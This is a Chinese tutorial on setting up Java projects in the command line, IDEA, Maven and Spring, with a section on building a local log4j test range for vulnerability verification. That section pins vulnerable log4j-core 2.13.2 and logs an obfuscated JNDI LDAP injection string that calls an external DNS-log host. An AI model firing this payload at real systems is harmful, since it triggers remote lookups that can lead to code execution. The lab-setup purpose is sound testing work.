【技术分享】搭建java项目引入外部依赖教程
文章目录
- 引言
- 如何在linux中编译运行java程序
- IDEA中新建一个简单的java工程项目并运行
- IDEA中如何引入外部依赖并运行
- maven引入log4j jar包
- 手工引入log4j jar包
- 如何使用命令行的方式添加外部依赖
- 如何新建一个spring源码项目并为其添加依赖
- 给定一个spring工程源码,如何pom.xml添加依赖,本地运行。
- 总结
引言
学习工作中经常会遇到java相关的项目工程, 本篇文章主要是想分享一下如何搭建一个java环境。
其实我在接触java项目的过程中,最直接的阻碍,并不是java语法的理解, 也不是框架的使用,这些直接网上查询就可以得到。 但是对于java项目如何搭建起来的,如果运行的,或者是如何添加项目依赖的,这些确实是让java初学者比较头痛。
触发我写这篇文章的一个最直接的应用场景是:
在遇到一个简单的源码审计问题的时候,只有源代码,不提供依赖,这个时候如何在项目中引入依赖,然后把代码在本地跑起来,这样就可以调试并快速审计或定位问题了。
这篇文章主要关注以下场景的问题:
- 如何新建一个简单的java工程项目(例如用于leetcode刷题)
- 如何引入外部依赖并运行(例如新建一个使用到log4j 的靶场环境并运行)
- 如何新建一个spring源码项目并为其添加依赖。
- 给定一个源码(如spring相关项目),如何为这个项目添加依赖,本地运行。
顺便提一下,对笔者自己来说,引入java外部依赖是个难题。 之前有过c++ 和python 相关的项目经历,在实际应用中,搭建c++,python环境都比较容易,引入外部依赖也比较方便。
- 对于c++项目来说,使用c++编译器来编译运行代码, 一般需要通过 #include 的方式来引入外部依赖的头文件。
- 对于python项目来说, 也都需要配置一个python解释器,如果有什么需要引用外部的库, 直接使用 pip install命令就可以方便的使用各种库的功能了。
- 对于java项目来说,编译运行java程序需要使用到jdk; 引用外部依赖, 可以先下载jar包再引用, 也可以使用maven 工程来配置好依赖后自动下载。
如何在linux中编译运行java程序
- 我们来学习一下如何在linux中使用java 命令编译执行一个简单的程序。
- 假设已经安装并配置好了java 环境
- 创建一个名为HelloJava.java的文件, 然后文件中编辑一个类HelloJava.java;
注意: 文件名要和类名要保持一致,否则会编译出错
, 但是我们知道在c++和python 中都没有这样的限制。
public class HelloJava{public static void main(String[] args) {System.out.println("Nice to meet you!");}
}
-
static 表示这是一个静态方法,允许调用main()方法, 无需创建类的实例即可运行。
-
main()是所有的程序的入口,最先开始执行。
-
执行下面命令,可以编译成一个符合java虚机机规范的字节码文件: HelloJava.class。
javac HelloJava.java
- 执行下面命令, 可以运行HelloJava.class,但是注意,命令中需要把
.class
去掉。
java HelloJava
IDEA中新建一个简单的java工程项目并运行
上面我们学习了使用java命令行来编译运行java程序,这是最基础的执行步骤。但是在我们的日常开发中,项目通常会在一个集成开发环境中完成,下面我们学习一下如何在IDEA新建一个简单的java工程项目。
-
打开idea–> File-> New-> Project
-
选择创建一个简单的java项目, 在
Project sdk
中选择自己提前下载安装好的jdk路径 -
点击继续, project name 可以自己定义,例如 demo.
-
成功创建一个java项目后, 项目下有idea和src两个目录,我们主要在src目录下操作。在src目录新建一个包package, 然后新建一个HelloJava类, 然后点击运行,即可观察到结果。
package aaa.bbb;
public class HelloJava{public static void main(String[] args) {System.out.println("Nice to meet you!");}
}
知识点: 什么是package?
其实对于初学者,可能会使用不到package, 因为我们刚开始学习的时候,一般都是几个简单的类文件,我们稍微注意一下,就不会导致类名冲突这样的问题。但是,随着工程的不断扩大, 我们可能会遇到这样的场景:
- 类的名称太多了, 可能会有类名称冲突
- 类的定义太多了,我想按照某种逻辑分类, 把相似的类名称放在一起。
这个时候,我们就可以使用package了。
包允许将类组合成较小的单元(类似文件夹),它基本上隐藏了类,并避免了名称上的冲突。包允许在更广泛的范围内保护类、数据和方法。你可以在包内定义类,而在包外的代码不能访问该类。这使你的类相互之间有隐私,但不被其他世界所知。
包的作用如下:
区分相同名称的类。
能够较好地管理大量的类。
控制访问范围。
包(package)的使用要点如下:
- 包名全部使用小写字母
- 多个层次使用
.
分隔 - 一般会由倒置的域名开头,比如 com.baidu,不要有 www。
- 不能java开头。
- 使用 import 语句导入指定包下某个类的用法按如下:
import example.MyClass;
- 使用 import 语句导入指定包下全部类的用法按如下:
import example.*;
- Java 默认为所有源文件导入 java.lang 包下的所有类,因此前面在 Java 程序中使用 String、System 类时都无须使用 import 语句来导入这些类。但对于前面介绍数组时提到的 Arrays 类,其位于 java.util 包下,则必须使用 import 语句来导入该类。
IDEA中如何引入外部依赖并运行
加入我们遇到下面的场景:
为了验证log4j的漏洞, 我们想搭建一个简单的log4j靶场环境。 这里,我们介绍两种方法来引入log4j的外部依赖环境: 1. 手工下载log4j的jar包并引入; 2.通过maven环境引入log4j依赖;
maven引入log4j jar包
-
创建maven工程 : File > new > project > Maven > 创建项目名称为log4j_test
-
IDEA会生成项目, 其中有pom.xml文件, 初始内容状态为:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>org.example</groupId><artifactId>log4j_test</artifactId><version>1.0-SNAPSHOT</version><properties><maven.compiler.source>8</maven.compiler.source><maven.compiler.target>8</maven.compiler.target></properties></project>
如果我们想加入log4j的jar依赖,我们需要添加:
<dependencies><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.13.2</version></dependency></dependencies>
然后,我们就可以愉快的引入log4j的外部依赖了, 我们可以编辑代码来实现自己的需求。
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Test1{private static final Logger logger = LogManager.getLogger(org.apache.logging.log4j.Logger.class);public static void main(String[] args) {logger.error("hello world asdf.");logger.error("$${lookupName:key:${lower:env}}");logger.error("${env:aaa:-444444}");logger.error("${base64:SGVsbG8gV29ybGQhCg==}");logger.error("${log4j:configParentLocation}");logger.error("$${lower:{${java:os}}");logger.error("${upper:DhhASD}");logger.error("${java:os}");logger.error("${${env:base:-j}${lower:N}di:l${lower:D}${env:base:-a}p://qqqq.rblpq9.ceye.io/Log4jRC}");}
}
- 这里引出一个疑问: 如果我们只知道三方库的名字, 如何快速查询到maven中的引用方式呢?
方法如下:
- 访问Maven中央仓,例如访问:https://mvnrepository.com/
- 搜索需要引入的三方库名称,例如搜索log4j
- 点击进去,选择合适的版本,例如选择2.12.3
- 页面会给出maven的引用方式,复制到pom.xml中即可。例如:
<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.12.3</version>
</dependency>
手工引入log4j jar包
上面我们介绍了使用maven的方式来引入外部依赖,但是其实我们也可以手工下载jar包,然后手工引入, 这样其实就不需要使用maven项目了, 下面我们来实践一下。
-
访问maven中央仓,并搜索下载自己想要的jar包到本地。
-
下面我们就需要在IDEA中配置引入下载的jar包了, 具体步骤如下
点击 file > Project Structure > Modules > 点击+ > JARs or Directories > 添加存放自己下载jar包的路径3. 下面我们就可以在工程项目中引用这个jar包的外部依赖了
如何使用命令行的方式添加外部依赖
假如遇到如下的场景:
windows 下写了一个java类并编译成class文件,现在想把这个程序放到linux下执行。但是我在程序中引入了外部依赖, 这样的话,由于缺少外部依赖,是无法直接在linux中运行的。
问题一: 如何在运行java程序时候,命令行指定依赖:
可以使用如下的示例:(个人理解绝对路径和相对路径都是可以的)
java -cp .:绝对路径1.jar:绝对路径2.jar 全限定类名(此类有main方法)
java -cp other.jar:demo-0.0.1-SNAPSHOT.jar com.javapc.demo.test.Test
问题二: 如何在编译的时候指定依赖
javac -cp 绝对路径1.jar:绝对路径2.jar java文件名.java
如何新建一个spring源码项目并为其添加依赖
我们在上文介绍了创建java项目以及引入依赖的通用方法。在实际的web项目中,spring框架的使用还是非常常见的, 下面介绍下spring项目的搭建方法,spring 项目中一般会使用maven来管理外部依赖。
-
New > Project > 选中Maven
-
右击项目 > Add FrameWork Support > 添加一下spring 框架支持。
-
对于spring相关依赖,可以在pom.xml中按需加入,比如:
<dependencies><dependency><groupId>org.springframework</groupId><artifactId>spring-context</artifactId><version>4.2.6.RELEASE</version></dependency><dependency><groupId>org.springframework</groupId><artifactId>spring-webmvc</artifactId><version>4.3.0.RELEASE</version></dependency></dependencies>
- 接下来,我们就可以在项目中使用spring 来搭建java web工程了
package net.biancheng.c;import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;public class MainApp {public static void main(String[] args) {ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");HelloWorld obj = context.getBean("helloWorld", HelloWorld.class);obj.getMessage();System.out.println(System.getProperty("user.dir"));}
}
给定一个spring工程源码,如何pom.xml添加依赖,本地运行。
我们有可能后遇到这样的一个场景:
我们拿到了一个spring项目的源码,pom.xml文件可能是缺失的,我们需要使用IDEA搭建可运行环境用于调试。
我们可以采取如下的步骤:
- Add Framework Support添加spring框架支持。
- Add Framework Support添加maven框架支持,这个会自动生成一个pom.xml文件。
- 设置JDK路径
- 根据代码来设置package
- pom.xml 添加spring boot相关依赖。
可能会遇到以下问题:
-
spring 依赖版本需要匹配一致,否则会无法运行。
-
找不到类,对应的保存可以网上搜索解决
总结
动手实践了以上的java项目搭建过程,就熟悉了java项目开发流程。 这样,我们可以快速的调试运行起来其他人开发的项目,也可以快速的自己搭建环境进行java开发。
参考资料:
http://c.biancheng.net/view/5611.html
https://blog.csdn.net/weixin_45987729/article/details/124216168
http://c.biancheng.net/view/6084.html
https://juejin.cn/post/6954950905909215268
https://www.jianshu.com/p/4bff72c7e71b
相关文章:
【技术分享】搭建java项目引入外部依赖教程
文章目录引言如何在linux中编译运行java程序IDEA中新建一个简单的java工程项目并运行IDEA中如何引入外部依赖并运行maven引入log4j jar包手工引入log4j jar包如何使用命令行的方式添加外部依赖如何新建一个spring源码项目并为其添加依赖给定一个spring工程源码,如何…...
算法 ——世界 二
个人简介:云计算网络运维专业人员,了解运维知识,掌握TCP/IP协议,每天分享网络运维知识与技能。个人爱好: 编程,打篮球,计算机知识个人名言:海不辞水,故能成其大;山不辞石…...
数据治理CDGP选择题 4
5、根据DMBOK2,在实施数据治理时,要注重数据标准的建设,以下关于数据标准的描述,哪个选项是不正确的? (知识点: CDGP仿真题)A.数据标准必须得到有效沟通、监控,并被定期审查和更新;最重要的是,必须有强制手…...
动态规划之01背包问题和完全背包问题
01背包的问题描述:(内容参考代码随想录)有n件物品和一个最多能背重量为w 的背包。第i件物品的重量是weight[i],得到的价值是value[i] 。每件物品只能用一次,求解将哪些物品装入背包里物品价值总和最大。问题示例&#…...
MATLAB算法实战应用案例精讲-【图像处理】数字图像灰度化(附Java、python、matlab和opencv代码实现)
目录 前言 几个相关概念 1、RGB 2、ARGB 3、灰度化 4.图像点运算 5.线性点运算...
Linux(强大的yum命令)
yum 读 [jʌm] ,中文谐音: 样安ing。 yum( Yellow dog Updater, Modified)是一个在 Fedora 和 RedHat 以及 SUSE 中的 Shell 前端软件包管理器。 基于 RPM 包管理,能够从指定的服务器自动下载 RPM 包并且安装&#x…...
28.结语
文章目录28 Epilogue 结语28 Epilogue 结语 Don’t let it end like this. Tell them I said something. 不要让它就这样结束。 告诉他们我说了些什么 —Pancho Villa 您已到达旅程的尽头。 辛苦了 我们希望您能从本书中找到一些有价值的收获。 我们建议该列表应包括以下内…...
ICRS、GCRS、CIRS、TIRS和ITRS坐标系统简介
ICRS、GCRS、CIRS、TIRS和ITRS坐标系统简介1. 简介2. ICRS、GCRS、CIRS、TIRS和ITRS分别介绍2.1 ICRS详细说明2.2 GCRS详细说明2.3 CIRS详细说明2.4 TIRS详细说明2.5 ITRS 详细说明1. 简介 ICRS、GCRS、CIRS、TIRS和ITRS都是天文学中使用的坐标系统: ICRS (Intern…...
你是真的“C”——详解结构体知识点
你是真的“C”——详解结构体知识点😎前言🙌什么是结构体?🙌1. 结构体的声明🙌1.1 结构的基础知识1.2 结构的声明1.3 结构成员的类型1.4 结构体变量的定义和初始化2. 结构体成员的访问🙌3结构体传参&#x…...
2023新华为OD机试题 - 单词接龙(JavaScript) | 刷完必过
单词接龙 题目 单词接龙的规则是: 可用于接龙的单词,首字母必须要与前一个单词的尾字母相同; 当存在多个首字母相同的单词时,取长度最长的单词; 如果长度也相等,则取字典序最小的单词; 已经参与接龙的单词不能重复使用; 现给定一组全部由小写字母组成的单词数组, 并指…...
第一章 一般错误信息 - 错误代码 0 到 99
文章目录第一章 一般错误信息 - 错误代码 0 到 99一般错误信息错误代码 0 到 99第一章 一般错误信息 - 错误代码 0 到 99 一般错误信息 错误代码被报告为 ERROR #nnn。这些错误代码有时称为 %Status 错误代码。 可以使用 DisplayError() 和 Error() 方法确定指定错误代码的错…...
MyBatis 之一(概念、创建项目、操作模式、交互流程)
1. MyBatis 是什么MyBatis 是一款优秀的持久层框架MyBatis 也是一个 ORM (Object Relational Mapping)框架,即对象关系映射它支持自定义 SQL、存储过程以及高级映射MyBatis 去除了几乎所有的 JDBC 代码以及设置参数和获取结果集的工作MyBatis…...
学习笔记:文件
因为有的数据,数据量极大。或者是你想把编译输出的内容存储起来,就可以使用文件 读文件中内容具体操作 来自C语言详解 FILE文件操作 - 知乎 (zhihu.com) 写入文件具体操作 同样来自 C语言详解 FILE文件操作 - 知乎 (zhihu.com) 当文件关闭时,…...
高考结束了以后应该做的事情(个人经历的总结)
高考结束了以后应该做的事情 在本指导中,我总结了我大学期间我认为做的没有后悔,最正确的事情。同时,根据我的经历和我踩过的坑总结出来了这一份入学指南。 这个指导有点偏向于工科生,已经尽量偏向于所有专业了。对于所有专业的同…...
蓝桥杯:k倍区间
[蓝桥杯 2017 省 B] k 倍区间给定一个长度为 N 的数列,A1,A2,…AN,如果其中一段连续的子序列 Ai,Ai1,…Aj 之和是 K 的倍数,我们就称这个区间 [i,j] 是 K 倍区间。你能求出数列中总共有多少个 K 倍区间吗?输入格式第一行包含两个整…...
【思维模型】概率思维的价值:找到你的人生算法!打开你的人生格局!实现认知跃迁!
把同样公平的机会放在放在很多人面前,不同的人生算法,会得到迥然不同的结果。 概率思维是什么? 【ChatGPT】概率思维是一种通过使用数学模型来思考和评估不确定性事件的方法。它通过计算不同可能性的概率来预测事件的结果,并评估风险和机会。 概率思维的价值在于它可以帮…...
API文档自动生成工具
一、参考资料 从Python源码注释,自动生成API文档 二、问题引入 不管是开源还是闭源,要让所有人都能读懂你的代码这太难了,所以文档是很重要的。大部分情况,我们不希望维护一份代码再加上一份文档,这样做很容易造成文…...
7、MyBatis框架——MyBatis对一对一关系的处理、分步查询、MyBatis对一对多关系的处理
目录 一、项目框架搭建 二、在实体类中添加额外属性实现多表查询 1、mybatis两表关联查询 (1)实体类类型映射规则 (2)代码演示 2、分步查询 (1)autoMapping开启自动映射 (2)…...
电商数据监测——中国白酒行业数据浅析
大国盛世酿,万家潭酒香。中国白酒是中国特色文化之一。 2022年,国内白酒总产量为671.2万千升,处于持续下滑的态势。 白酒产量不佳,但线上平台的销售情况却成绩优异。2022年,京东平台白酒的年度总销量超3500万件,同比去…...
excel数据技巧:透视表快速统计年终业绩排名
年关了,各种数据多得要命,要汇总,要排名,这样才好颁奖发红包。今天,数据透视表出来为Excel人送温暖了,不用分两步做,鼠标拖两下,同步搞定业绩统计与排名。临近年末,各行各…...
TensorRT的Python接口解析
TensorRT的Python接口解析 文章目录TensorRT的Python接口解析4.1. The Build Phase4.1.1. Creating a Network Definition in Python4.1.2. Importing a Model using the ONNX Parser4.1.3. Building an Engine4.2. Deserializing a Plan4.3. Performing Inference点此链接加入…...
【信管11.5】合同、采购、招投标相关法规
合同、采购、招投标相关法规关于法律法规相关的内容,其实并没什么可以多说的,我也只是列出来,大家挑着背吧。当然,这里也不都是完完全全的法律条文,有一些也可能是一些归纳总结。更具体的内容大家可以参考教材以及查阅…...
使用 CSS 变量更改多个元素样式
使用 CSS 变量更改多个元素样式 var() 函数用于插入自定义的属性值,如果一个属性值在多处被使用,该方法就很有用。 custom-property-name 是必需的, 自定义属性的名称,必需以 – 开头。 value 可选。备用值,在属性不存在的时候使…...
面试题(二十五)设计模式
1. 设计模式 1.1 说一说设计模式的六大原则 参考答案 单一职责原则 一个类,应当只有一个引起它变化的原因;即一个类应该只有一个职责。 就一个类而言,应该只专注于做一件事和仅有一个引起变化的原因,这就是所谓的单一职责原则…...
使用红黑树模拟实现map和set
在STL的源代码中,map和set的底层原理都是红黑树。但这颗红黑树跟我们单独写的红黑树不一样,它需要改造一下: 改造红黑树 节点的定义 因为map和set的底层都是红黑树。而且map是拥有键值对pair<K,V>的,而set是没有键值对&a…...
【django项目开发】用户登录后缓存权限到redis中(十)
这里写目录标题一、权限的数据的特点二、首先settings.py文件中配置redis连接redis数据库一、权限的数据的特点 需要去数据库中频繁的读和写,为了项目提高运行效率,可以把用户的权限在每次登录的时候都缓存到redis中。这样的话,权限判断的中…...
算法总结c++
文章目录基本概念时间复杂度空间复杂度基本结构1. 数组前缀和差分数组快慢指针(索引)左右指针(索引)盛水容器三数之和最长回文子串2. 链表双指针删除链表的倒数第 n 个结点翻转链表递归将两个升序链表合并为一个新的 升序 链表链表翻转3. 散列表twoSum无…...
Python 之 NumPy 切片索引和广播机制
文章目录一、切片和索引1. 一维数组2. 二维数组二、索引的高级操作1. 整数数组索引2. 布尔数组索引三、广播机制1. 广播机制规则2. 对于广播规则另一种简单理解一、切片和索引 ndarray 对象的内容可以通过索引或切片来访问和修改(),与 Pytho…...
Redis【包括Redis 的安装+本地远程连接】
Redis 一、为什么要用缓存? 缓存定义 缓存是一个高速数据交换的存储器,使用它可以快速的访问和操作数据。 程序中的缓存 在我们程序中,如果没有使用缓存,程序的调用流程是直接访问数据库的; 如果多个程序调用一个数…...
深度学习训练营_第P3周_天气识别
🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍦 参考文章:Pytorch实战 | 第P3周:彩色图片识别:天气识别**🍖 原作者:K同学啊|接辅导、项目定制**␀ 本次实验有两个新增任务&…...
成都区块链网站开发/拉新推广怎么找渠道
经过两天的测试,海康RTSP终于测试成功,目前主流型号DS-7804N-SNH可以使用如下的RTSP语句在VLC测试 rtsp://admin:123451.1.1.1:554/Streaming/Channels/102 另外,在测试的时候,最好从命令行vlc,然后弹出窗口…...
装饰装修网站模板建设/qq群怎么优化排名靠前
时延是指一个报文或分组从网络的一端传送到另一端所耗费的时间,时延由节点处理时延、排队时延、发送时延、传播时延组成。下面为大家一一介绍一下: 节点处理时延: 主机或路由器在收到分组后要花费一定的时间进行处理,比如分析首部…...
温江区建设局网站/uc推广登录入口
【实例简介】html5 canvas绘制随机游动线条动画特效【实例截图】【核心代码】html5 canvas绘制随机游动线条动画特效canvas.drawer {position:fixed;top:0px;left:0px;width:100vw;height:100vh;}use strict;var _createClass function () { function defineProperties(target…...
宁夏做网站建设公司/网站seo方案策划书
背景 EntityFramework 中 DbSet.Add 方法不会导致立即执行 insert 语句,这在长事务中非常有用,不过多数用例都是短事务的,为何我需要一个立即执行 insert 语句的方法呢?本文就是在思考这个问题。 先看一个代码 代码 1 using Syste…...
网站开发与设计培训的就业前景/班级优化大师免费下载安装
写作时间:2020-08-15目录:1.问题:2.将二进制表达的负数换成十进制怎么弄?3.总结一下正文:1.问题:比如说。要表达0~255的十进制数,在FPGA使用一个8bit[7:0]的二进制就可以。但是,我们…...
wordpress基于谷歌框架/求个没封的网站2022
为什么80%的码农都做不了架构师?>>> boot2docker 默认会自动挂载 /Users 目录,虚拟机在启动的时候会运行 /etc/rc.d/automount-shares 挂载 /Users 目录。 在Mac 上使用Docker,由于使用的是虚拟机,然后Docker 在挂载…...